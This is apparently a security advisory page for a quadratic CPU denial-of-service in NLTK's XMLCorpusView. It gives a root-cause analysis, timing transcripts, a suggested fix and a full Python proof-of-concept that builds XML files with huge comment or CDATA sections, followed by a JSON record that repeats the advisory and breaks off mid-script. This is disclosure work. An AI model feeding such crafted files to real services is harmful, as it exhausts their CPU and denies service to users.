  • 3.6 / 3.9.2 (pre-guard): these releases use a lazy _VALID_XML_RE whose CDATA alternative <![CDATA[.*?]]> never matches (the [CDATA[.*?] substring is parsed as a character class), so a CDATA document is rejected with ValueError: Unexpected end of file: tag not closed after the quadratic scan — a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) ≈ 14-16); the oversized-tag control also reads quadratically there (ratio ≈ 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched.

PoC

The self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing </> characters with no --> before the final marker, drives XMLCorpusView's fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure.

Scope note: dynamically run on 3.6, 3.9.2, 3.10.3 (released wheels from PyPI / the local 3.10.3 wheel) and develop 6818767b9 (checked out source). No releases outside those were run; the >= 3.6 bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x86_64. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds.

Live transcript (recorded run on the 3.10.3 wheel; the 3.6, 3.9.2 and develop 6818767b9 runs are summarized below):

[TIMING] unclosed comment  n=65558 t=0.083s  4n=262166 t=1.070s  ratio=12.9  (n->returned)
[PASS] attack document is well-formed XML (parses with ElementTree)  (both sizes parse; root element tag='root')
[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)  (measured 12.9)
[INFO] in-tag guard present in module: True
[TIMING] CDATA variant       n=65561 t=0.142s  4n=262169 t=2.169s  ratio=15.3  (n->returned)
[PASS] CDATA variant also super-linear on guard-present build  (measured 15.3)
[TIMING] single _VALID_XML_RE.match  256KiB=0.0083s  512KiB=0.0741s  1MiB=0.1419s  2MiB=0.2804s
[PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)  (measured 4x ratio=3.79)
[TIMING] oversized tag (control)  n=1048576 t=0.059s  4n=4194304 t=0.242s  ratio=4.1
[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)  (measured 4.1)
[PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document  (1 item(s) read from 65558-byte document)
RESULT 6/6 checks passed, 0 failed

Other runs (all 6/6; essential lines only):

3.6  (pre-guard):  comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19
3.9.2 (pre-guard):  comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95
develop 6818767b9:  comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76

(The pre-guard single-match ratios are meaningless — their dead CDATA alternative fails in O(1) — and are reported for completeness only.)

Impact

  • Type: CWE-407 / CWE-400 — CPU exhaustion / algorithmic-complexity denial of service on a single untrusted corpus-file read; no confidentiality or integrity impact.
  • Who is impacted: any deployment that feeds corpus XML to XMLCorpusView (or to the nps_chat / framenet readers) from a source not fully trusted — the exact "untrusted input" threat model in SECURITY.md. The input is ordinary, well-formed XML; nothing about it is malformed or rejected by any parser.
  • Attacker requirements: deliver a well-formed XML file whose body contains a large comment or CDATA section with </> characters and the terminator at the end. No privilege and no user interaction are required beyond the automated read of the file — the same delivery model as other NLTK resource-loading issues (SECURITY.md), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifies UI:N and AV:N in the score above.
  • Effect: measured 256 KiB → ~1.1 s single read; cost scales with the square of the input size (t(4n)/t(n) ≈ 13-16), so a few MiB reaches tens of seconds and tens of MiB reaches minutes of CPU on a single core. Because the file is well-formed and the read eventually succeeds (current releases), ordinary users observe only severe slowdown; a scheduler/job that processes many such files is trivially pinned.

Suggested fix: extend the incremental state tracking to CDATA/comment/DOCTYPE like in_tag already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed <!... construct (no ]]> / --> / doctype terminator yet), and skip the whole-buffer matches at xmldocs.py:308 and xmldocs.py:329 whenever the fragment is provably non-well-formed for that reason — the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing nltk/test/unit/test_quadratic_dos.py cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear.


Reproduction script (self-contained)

#!/usr/bin/env python3
"""Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity
CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).

Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)
reads a file in 1024-char blocks and accumulates them into a single ``fragment``.
After every block that is not yet a well-formed prefix, it re-runs a *linear*
pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when
it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,
``re.search("[<>]", fragment)``, is O(1) here because the document starts with
'<'.)
For a fragment that stays "unclosed"
across many blocks -- a CDATA section or comment whose terminator (``]]>`` /
``-->``) lies far ahead -- every block costs O(current buffer length), so a
single document of N bytes costs ~O(N^2) character operations. The in-tag guard
added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed
CDATA / comment state, so this class remains quadratic in the current release.

The attack documents are *well-formed* XML: comments and CDATA may legally
contain '<' and '>'.

Controls:
  1. Well-formedness: the attack document parses with ElementTree.
  2. Linear baseline on the same reader: an oversized *single tag* of the same
     size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x
     case). On pre-guard builds it is quadratic too -- reported, not asserted.
  3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the
     same sink.

Assertions:
  - attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).
  - tag-control doubling ratio must be ~linear (< 8) when the guard is present.

Usage:
    python3 repro_xmlcorpusview_unclosed_cdata.py
Env:
    PYTHONPATH : site-packages of the nltk version under test (required)
    NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)
"""
import io
import os
import shutil
import sys
import tempfile
import time

import xml.etree.ElementTree as ET

# Point NLTK's sandbox at a private data root so the public API reachability
# check below may open its own corpus file (pathsec only trusts data roots and
# private temp dirs; a shared /tmp is not an allowed root).
_DATA_ROOT = os.environ.get("NLTK_DATA")
_CLEANUP_ROOT = None
if not _DATA_ROOT:
    _DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview_")
    os.environ["NLTK_DATA"] = _DATA_ROOT
    _CLEANUP_ROOT = _DATA_ROOT

from nltk.corpus.reader.xmldocs import XMLCorpusView


def elapsed(fn):
    start = time.perf_counter()
    fn()
    return time.perf_counter() - start


def build_comment_doc(body_size):
    # Well-formed XML: one root, one large comment containing '<' and '>' and
    # no '-->' before the closing marker.
    body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
    return "<root><!-- " + body + " --></root>"


def build_cdata_doc(body_size):
    # Well-formed XML: one root, one large CDATA containing '<' and '>' and no
    # ']]>' before the closing marker.
    body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
    return "<root><![CDATA[" + body + "]]></root>"


def build_unclosed_cdata_prefix(body_size):
    # The line-308 match input: an accumulating fragment that is still inside
    # an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache
    # reuse with the attack-timing buffers above, which would skew the timing.
    body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size]
    return "<root><![CDATA[" + body


def build_giant_tag(body_size):
    # Control: a single oversized '<a ...>' tag, no '>' until the very end.
    return "<a " + ("x" * body_size) + ">"


def guard_present():
    import nltk.corpus.reader.xmldocs as m

    with open(m.__file__, encoding="utf-8") as fh:
        return "in_tag" in fh.read()


view = XMLCorpusView.__new__(XMLCorpusView)
results = []


def check(name, cond, detail=""):
    results.append(bool(cond))
    print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f"  ({detail})" if detail else ""))


def read_frag(doc):
    """Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard
    releases raise for CDATA-containing documents."""
    try:
        return view._read_xml_fragment(io.StringIO(doc))
    except ValueError as exc:
        return "ValueError: %s" % exc


def time_ratio(build, n1, n4):
    d1, d4 = build(n1), build(n4)
    t1 = elapsed(lambda: read_frag(d1))
    t4 = elapsed(lambda: read_frag(d4))
    return d1, d4, t1, t4


# ---- Sizes ---------------------------------------------------------------
body = int(os.environ.get("NLTK_BODY_SIZE", "65536"))
tag1, tag4 = 1 << 20, 4 << 20  # 1 MiB / 4 MiB (guard-present linear baseline)

# ---- Primary attack: large comment unclosed until its final '-->' ---------
c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)
ratio = t4 / t1
out1 = read_frag(c1)  # outcome probe (returned string vs ValueError)
outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1
print(f"[TIMING] unclosed comment  n={len(c1)} t={t1:.3f}s  "
      f"4n={len(c4)} t={t4:.3f}s  ratio={ratio:.1f}  (n->{outcome})")
check(
    "attack document is well-formed XML (parses with ElementTree)",
    ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root",
    f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'",
)
check(
    "unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)",
    ratio > 10.0,
    f"measured {ratio:.1f}",
)

# ---- CDATA variant ---------------------------------------------------------
has_guard = guard_present()
print(f"[INFO] in-tag guard present in module: {has_guard}")
d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)
dratio = td4 / td1
dout = read_frag(d1)
doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout
print(f"[TIMING] CDATA variant       n={len(d1)} t={td1:.3f}s  "
      f"4n={len(d4)} t={td4:.3f}s  ratio={dratio:.1f}  (n->{doutcome})")
if has_guard:
    check(
        "CDATA variant also super-linear on guard-present build",
        dratio > 10.0,
        f"measured {dratio:.1f}",
    )
else:
    # Pre-guard releases cannot validate any CDATA (their regex's CDATA
    # alternative never matches), so the fragment ends in ValueError -- a
    # separate functional defect; report only.
    check(
        "pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)",
        doutcome.startswith("ValueError"),
        str(doutcome),
    )

# ---- Single-match linearity of _VALID_XML_RE ------------------------------
# The quadratic total comes from re-running a *linear* whole-buffer match on
# every block, not from the regex itself backtracking super-linearly (a single
# match would then also blow up with input size). Verify single-match scaling.
# The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x
# faster in an already-warmed engine, so it is reported but not asserted on).
def best_match_ms(buf):
    view._VALID_XML_RE.match(buf)  # warm-up (cache pattern + char-class state)
    return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))


ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)}
print(f"[TIMING] single _VALID_XML_RE.match  256KiB={ms[1 << 18]:.4f}s  512KiB={ms[1 << 19]:.4f}s  "
      f"1MiB={ms[1 << 20]:.4f}s  2MiB={ms[1 << 21]:.4f}s")
check(
    "single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)",
    ms[1 << 21] / ms[1 << 19] < 6.0,
    f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}",
)

# ---- Control: giant single tag on the same reader ---------------------------
if has_guard:
    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)
    gratio = tg4 / tg1
    print(f"[TIMING] oversized tag (control)  n={tag1} t={tg1:.3f}s  "
          f"4n={tag4} t={tg4:.3f}s  ratio={gratio:.1f}")
    check(
        "oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)",
        gratio < 8.0,
        f"measured {gratio:.1f}",
    )
else:
    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)
    gratio = tg4 / tg1
    print(f"[TIMING] oversized tag (no guard)  n={len(g1)} t={tg1:.3f}s  "
          f"4n={len(g4)} t={tg4:.3f}s  ratio={gratio:.1f}")
    check(
        "oversized single tag also super-linear pre-guard (report-only)",
        gratio > 4.0,
        f"measured {gratio:.1f}",
    )

# ---- Reachability: the public XMLCorpusView API drives the same sink -------
path = os.path.join(_DATA_ROOT, "attack.xml")
with open(path, "w", encoding="utf-8") as fh:
    fh.write(c1)
try:
    items = list(XMLCorpusView(path, ".*"))
    check(
        "public API list(XMLCorpusView(path, '.*')) reads the attack document",
        len(items) >= 1,
        f"{len(items)} item(s) read from {len(c1)}-byte document",
    )
finally:
    if _CLEANUP_ROOT:
        shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)

passed = sum(results)
failed = len(results) - passed
print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed")
sys.exit(0 if failed == 0 else 1)

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

Two open pull requests carry a fix.

PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).

PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).

The probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).

Release: none.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.6"
            },
            {
              "fixed": "3.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-128139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-19T23:54:59Z",
    "nvd_published_at": "2026-11-19T18:18:06Z",
    "severity": "HIGH"
  },
  "details": "\u003e **affected**: PyPI `nltk` `\u003e= 3.6` \u2014 `nltk.corpus.reader.xmldocs.XMLCorpusView` streaming read (and the `nps_chat` / `framenet` readers built on it)\n\u003e **dynamically reproduced**: `3.6` (6/6 checks), `3.9.2` (6/6), `3.10.3` (6/6) and `develop` `6818767b9` (6/6)\n\n---\n\n_Source references (`nltk/corpus/reader/xmldocs.py:NNN`) are to commit `6818767b99c24659107eb2be9bccd32a3d4bf045` (`develop`, `v3.10.3-15-g6818767b9`). The released `v3.10.3` wheel\u0027s `xmldocs.py` is byte-identical to that commit, so the same line numbers apply to the released wheel._\n\n### Summary\n\n**An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because `XMLCorpusView._read_xml_fragment` (`nltk/corpus/reader/xmldocs.py`) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead.** `XMLCorpusView` is NLTK\u0027s documented streaming API for XML corpora and is instantiated directly by the `NPSChatCorpusReader` and `FramenetCorpusReader` readers; the module header (`xmldocs.py:16-20`) explicitly handles untrusted corpus XML. The `in_tag` guard added to this function for GHSA-vp2x covers only a single oversized `\u003c...\u003e` tag and leaves the CDATA/comment path quadratic in the current release.\n\n### Details\n\nRoot cause: `_read_xml_fragment` (`xmldocs.py:273-338`) accumulates the file into one `fragment` string in `_BLOCK_SIZE` (1024) character chunks (`xmldocs.py:123, 298-299`). After every block that is not yet a well-formed prefix, the fragment is re-validated against `_VALID_XML_RE`. Two whole-buffer operations dominate:\n\n```python\n# xmldocs.py:308\nif not in_tag and self._VALID_XML_RE.match(fragment):      # whole-buffer match (O(len))\n    return fragment\n# xmldocs.py:312\nif re.search(\"[\u003c\u003e]\", fragment).group(0) == \"\u003e\":            # O(1) for this input class:\n    ...                                                     # the document starts with \u0027\u003c\u0027\n# xmldocs.py:329\nif self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))\n    ...\n```\n\nFor this input class the `re.search` probe at `xmldocs.py:312` is O(1): the fragment always starts with `\u003c` (e.g. `\u003croot\u003e\u2026`), so the first `\u003c`/`\u003e` character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at `xmldocs.py:308` and `xmldocs.py:329` (the latter scans the buffer up to the most recent `\u003c`, which for this input sits near the end of the buffer).\n\n`_VALID_XML_RE` (`xmldocs.py:238-249`) is a *linear* regex (its tempered-dot comment/CDATA bodies `(?:(?!--\u003e).)*` / `(?:(?!\\]\\]\u003e).)*` scan left-to-right in O(length) \u2014 confirmed by the embedded script\u0027s single-match check), but for a fragment whose terminator is far ahead the *match itself fails after scanning the whole buffer*. With an unclosed-across-blocks CDATA or comment, **every one of the n/1024 blocks** pays O(current buffer length) on lines 308 and 329, for a total of ~O(n\u00b2) character operations.\n\nThe `in_tag` guard added for GHSA-vp2x (`xmldocs.py:283-305`) tracks only bare `\u003c`/`\u003e` characters: it is `True` inside an unclosed `\u003c...\u003e` tag and, in that state, skips only the line-308 match. It never represents \"the fragment sits inside an unclosed CDATA or comment\" \u2014 XML allows arbitrary `\u003c`/`\u003e` inside those constructs \u2014 so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at `xmldocs.py:283-289` even documents the intended linearity contract (\"re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)\"); the guard implements it for the tag branch only.\n\nThe single-match cost is linear, not super-linear: the embedded script measures `_VALID_XML_RE.match()` on 512 KiB \u2192 1 MiB \u2192 2 MiB unclosed-CDATA buffers and gets \u2248 0.074 s \u2192 0.142 s \u2192 0.280 s (\u2248 1:1.9:3.8, i.e. linear), asserting the 4\u00d7 ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block \u2014 the exact CWE-407 pattern the in-tag guard was introduced to eliminate.\n\n**Version nuance** (all dynamically verified):\n\n- **`3.10.3` / `develop` (guard present)**: the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) \u2248 13-16; linear would be \u2248 4). The oversized single-tag control reads linearly (ratio \u2248 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path.\n- **`3.6` / `3.9.2` (pre-guard)**: these releases use a *lazy* `_VALID_XML_RE` whose CDATA alternative `\u003c![CDATA[.*?]]\u003e` never matches (the `[CDATA[.*?]` substring is parsed as a character class), so a CDATA document is rejected with `ValueError: Unexpected end of file: tag not closed` after the quadratic scan \u2014 a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) \u2248 14-16); the oversized-tag control also reads quadratically there (ratio \u2248 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched.\n\n### PoC\n\nThe self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing `\u003c`/`\u003e` characters with no `--\u003e` before the final marker, drives `XMLCorpusView`\u0027s fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure.\n\n**Scope note**: dynamically run on `3.6`, `3.9.2`, `3.10.3` (released wheels from PyPI / the local 3.10.3 wheel) and `develop` `6818767b9` (checked out source). No releases outside those were run; the `\u003e= 3.6` bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x86_64. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds.\n\nLive transcript (recorded run on the `3.10.3` wheel; the `3.6`, `3.9.2` and `develop` `6818767b9` runs are summarized below):\n\n```\n[TIMING] unclosed comment  n=65558 t=0.083s  4n=262166 t=1.070s  ratio=12.9  (n-\u003ereturned)\n[PASS] attack document is well-formed XML (parses with ElementTree)  (both sizes parse; root element tag=\u0027root\u0027)\n[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) \u003e 10; linear ~4)  (measured 12.9)\n[INFO] in-tag guard present in module: True\n[TIMING] CDATA variant       n=65561 t=0.142s  4n=262169 t=2.169s  ratio=15.3  (n-\u003ereturned)\n[PASS] CDATA variant also super-linear on guard-present build  (measured 15.3)\n[TIMING] single _VALID_XML_RE.match  256KiB=0.0083s  512KiB=0.0741s  1MiB=0.1419s  2MiB=0.2804s\n[PASS] single match scales ~linearly (512KiB-\u003e2MiB 4x input ~4x time; not super-linear)  (measured 4x ratio=3.79)\n[TIMING] oversized tag (control)  n=1048576 t=0.059s  4n=4194304 t=0.242s  ratio=4.1\n[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) \u003c 8)  (measured 4.1)\n[PASS] public API list(XMLCorpusView(path, \u0027.*\u0027)) reads the attack document  (1 item(s) read from 65558-byte document)\nRESULT 6/6 checks passed, 0 failed\n```\n\nOther runs (all 6/6; essential lines only):\n\n```\n3.6  (pre-guard):  comment ratio=15.5 (returned); CDATA -\u003e ValueError; tag control ratio=16.8; single-match 4x ratio=1.19\n3.9.2 (pre-guard):  comment ratio=15.0 (returned); CDATA -\u003e ValueError; tag control ratio=16.8; single-match 4x ratio=0.95\ndevelop 6818767b9:  comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76\n```\n\n(The pre-guard single-match ratios are meaningless \u2014 their dead CDATA alternative fails in O(1) \u2014 and are reported for completeness only.)\n\n### Impact\n\n- **Type**: CWE-407 / CWE-400 \u2014 CPU exhaustion / algorithmic-complexity denial of service on a single untrusted corpus-file read; no confidentiality or integrity impact.\n- **Who is impacted**: any deployment that feeds corpus XML to `XMLCorpusView` (or to the `nps_chat` / `framenet` readers) from a source not fully trusted \u2014 the exact \"untrusted input\" threat model in `SECURITY.md`. The input is ordinary, *well-formed* XML; nothing about it is malformed or rejected by any parser.\n- **Attacker requirements**: deliver a well-formed XML file whose body contains a large comment or CDATA section with `\u003c`/`\u003e` characters and the terminator at the end. No privilege and no user interaction are required beyond the *automated* read of the file \u2014 the same delivery model as other NLTK resource-loading issues (`SECURITY.md`), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifies `UI:N` and `AV:N` in the score above.\n- **Effect**: measured 256 KiB \u2192 ~1.1 s single read; cost scales with the square of the input size (t(4n)/t(n) \u2248 13-16), so a few MiB reaches tens of seconds and tens of MiB reaches minutes of CPU on a single core. Because the file is well-formed and the read eventually succeeds (current releases), ordinary users observe only severe slowdown; a scheduler/job that processes many such files is trivially pinned.\n\n**Suggested fix**: extend the incremental state tracking to CDATA/comment/DOCTYPE like `in_tag` already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed `\u003c!...` construct (no `]]\u003e` / `--\u003e` / doctype terminator yet), and skip the whole-buffer matches at `xmldocs.py:308` and `xmldocs.py:329` whenever the fragment is provably non-well-formed for that reason \u2014 the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing `nltk/test/unit/test_quadratic_dos.py` cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear.\n\n---\n\n### Reproduction script (self-contained)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity\nCPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).\n\nRoot cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)\nreads a file in 1024-char blocks and accumulates them into a single ``fragment``.\nAfter every block that is not yet a well-formed prefix, it re-runs a *linear*\npass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when\nit backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,\n``re.search(\"[\u003c\u003e]\", fragment)``, is O(1) here because the document starts with\n\u0027\u003c\u0027.)\nFor a fragment that stays \"unclosed\"\nacross many blocks -- a CDATA section or comment whose terminator (``]]\u003e`` /\n``--\u003e``) lies far ahead -- every block costs O(current buffer length), so a\nsingle document of N bytes costs ~O(N^2) character operations. The in-tag guard\nadded for GHSA-vp2x tracks only a bare \u0027\u003c\u0027..\u0027\u003e\u0027 tag and is blind to unclosed\nCDATA / comment state, so this class remains quadratic in the current release.\n\nThe attack documents are *well-formed* XML: comments and CDATA may legally\ncontain \u0027\u003c\u0027 and \u0027\u003e\u0027.\n\nControls:\n  1. Well-formedness: the attack document parses with ElementTree.\n  2. Linear baseline on the same reader: an oversized *single tag* of the same\n     size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x\n     case). On pre-guard builds it is quadratic too -- reported, not asserted.\n  3. Public API reachability: ``list(XMLCorpusView(path, \".*\"))`` drives the\n     same sink.\n\nAssertions:\n  - attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).\n  - tag-control doubling ratio must be ~linear (\u003c 8) when the guard is present.\n\nUsage:\n    python3 repro_xmlcorpusview_unclosed_cdata.py\nEnv:\n    PYTHONPATH : site-packages of the nltk version under test (required)\n    NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)\n\"\"\"\nimport io\nimport os\nimport shutil\nimport sys\nimport tempfile\nimport time\n\nimport xml.etree.ElementTree as ET\n\n# Point NLTK\u0027s sandbox at a private data root so the public API reachability\n# check below may open its own corpus file (pathsec only trusts data roots and\n# private temp dirs; a shared /tmp is not an allowed root).\n_DATA_ROOT = os.environ.get(\"NLTK_DATA\")\n_CLEANUP_ROOT = None\nif not _DATA_ROOT:\n    _DATA_ROOT = tempfile.mkdtemp(prefix=\"nltk_xmlview_\")\n    os.environ[\"NLTK_DATA\"] = _DATA_ROOT\n    _CLEANUP_ROOT = _DATA_ROOT\n\nfrom nltk.corpus.reader.xmldocs import XMLCorpusView\n\n\ndef elapsed(fn):\n    start = time.perf_counter()\n    fn()\n    return time.perf_counter() - start\n\n\ndef build_comment_doc(body_size):\n    # Well-formed XML: one root, one large comment containing \u0027\u003c\u0027 and \u0027\u003e\u0027 and\n    # no \u0027--\u003e\u0027 before the closing marker.\n    body = (\"a\u003cb\u003cc\u003cd\u003e\" * ((body_size // 8) + 1))[:body_size]\n    return \"\u003croot\u003e\u003c!-- \" + body + \" --\u003e\u003c/root\u003e\"\n\n\ndef build_cdata_doc(body_size):\n    # Well-formed XML: one root, one large CDATA containing \u0027\u003c\u0027 and \u0027\u003e\u0027 and no\n    # \u0027]]\u003e\u0027 before the closing marker.\n    body = (\"a\u003cb\u003cc\u003cd\u003e\" * ((body_size // 8) + 1))[:body_size]\n    return \"\u003croot\u003e\u003c![CDATA[\" + body + \"]]\u003e\u003c/root\u003e\"\n\n\ndef build_unclosed_cdata_prefix(body_size):\n    # The line-308 match input: an accumulating fragment that is still inside\n    # an unclosed CDATA (no \u0027]]\u003e\u0027 yet). A distinct body alphabet avoids CPU-cache\n    # reuse with the attack-timing buffers above, which would skew the timing.\n    body = (\"x\u003cy\u003cz\u003cw\u003e\" * ((body_size // 8) + 1))[:body_size]\n    return \"\u003croot\u003e\u003c![CDATA[\" + body\n\n\ndef build_giant_tag(body_size):\n    # Control: a single oversized \u0027\u003ca ...\u003e\u0027 tag, no \u0027\u003e\u0027 until the very end.\n    return \"\u003ca \" + (\"x\" * body_size) + \"\u003e\"\n\n\ndef guard_present():\n    import nltk.corpus.reader.xmldocs as m\n\n    with open(m.__file__, encoding=\"utf-8\") as fh:\n        return \"in_tag\" in fh.read()\n\n\nview = XMLCorpusView.__new__(XMLCorpusView)\nresults = []\n\n\ndef check(name, cond, detail=\"\"):\n    results.append(bool(cond))\n    print(f\"[{\u0027PASS\u0027 if cond else \u0027FAIL\u0027}] {name}\" + (f\"  ({detail})\" if detail else \"\"))\n\n\ndef read_frag(doc):\n    \"\"\"Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard\n    releases raise for CDATA-containing documents.\"\"\"\n    try:\n        return view._read_xml_fragment(io.StringIO(doc))\n    except ValueError as exc:\n        return \"ValueError: %s\" % exc\n\n\ndef time_ratio(build, n1, n4):\n    d1, d4 = build(n1), build(n4)\n    t1 = elapsed(lambda: read_frag(d1))\n    t4 = elapsed(lambda: read_frag(d4))\n    return d1, d4, t1, t4\n\n\n# ---- Sizes ---------------------------------------------------------------\nbody = int(os.environ.get(\"NLTK_BODY_SIZE\", \"65536\"))\ntag1, tag4 = 1 \u003c\u003c 20, 4 \u003c\u003c 20  # 1 MiB / 4 MiB (guard-present linear baseline)\n\n# ---- Primary attack: large comment unclosed until its final \u0027--\u003e\u0027 ---------\nc1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)\nratio = t4 / t1\nout1 = read_frag(c1)  # outcome probe (returned string vs ValueError)\noutcome = \"returned\" if isinstance(out1, str) and not out1.startswith(\"ValueError\") else out1\nprint(f\"[TIMING] unclosed comment  n={len(c1)} t={t1:.3f}s  \"\n      f\"4n={len(c4)} t={t4:.3f}s  ratio={ratio:.1f}  (n-\u003e{outcome})\")\ncheck(\n    \"attack document is well-formed XML (parses with ElementTree)\",\n    ET.fromstring(c1).tag == \"root\" and ET.fromstring(c4).tag == \"root\",\n    f\"both sizes parse; root element 